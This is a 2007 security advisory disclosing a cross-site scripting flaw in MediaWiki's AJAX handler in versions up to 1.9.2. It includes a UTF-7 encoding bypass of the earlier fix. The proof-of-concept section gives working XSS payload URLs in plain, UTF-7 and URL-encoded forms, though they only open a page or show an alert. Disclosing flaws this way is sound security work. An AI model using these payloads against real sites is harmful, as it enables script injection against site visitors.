MediaWiki Cross-site Scripting

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MediaWiki Cross-site Scripting

Vulnerabilities.


Date:
18/02/2007

Vendor:
MediaWiki

Vulnerable versions:
MediaWiki 1.9.2 (latest) and below.

Description:
MediaWiki v1.8.2 and below are vulnerable to plain Cross-site scripting attack 
by expliting the experimental AJAX features, if enabled (default). This XSS was 
fixed in post 1.8.2 versions (1.8.3, 1.9.0rc2, 1.9.0, 1.9.1, 1.9.2). This fix 
can be bypassed by encoding the XSS exploit to UTF-7. note: browsers encoding 
auto-detection has to be enabled for successful explitation.


Proof-of-concept:
http://[Host]/wiki/index.php?action=ajax&rs=[XSS]
UTF-7 XSS in post 1.8.2 versions. 

Examples:
v1.8.2 and below:
http://[Host]/wiki/index.php?action=ajax&rs=%3Cscript%3Ewindow.open('http://www.bugsec.com')%3C/script%3E
v1.8.3 - v1.9.2
http://[Host]/wiki/index.php?action=ajax&rs=+ADw-SCRIPT+AD4-window.open('http://www.bugsec.com');+ADw-/SCRIPT+AD4-
http://[Host]/wiki/index.php?action=ajax&rs=%2B%41%44%77%2D%53%43%52%49%50%54%2B%41%44%34%2D%61%6C%65%72%74%28%27%58%53%53%27%29%3B%2B%41%44%77%2D%2F%53%43%52%49%50%54%2B%41%44%34%2D
 (URL Encoded) 


Credit:
Moshe BA from BugSec
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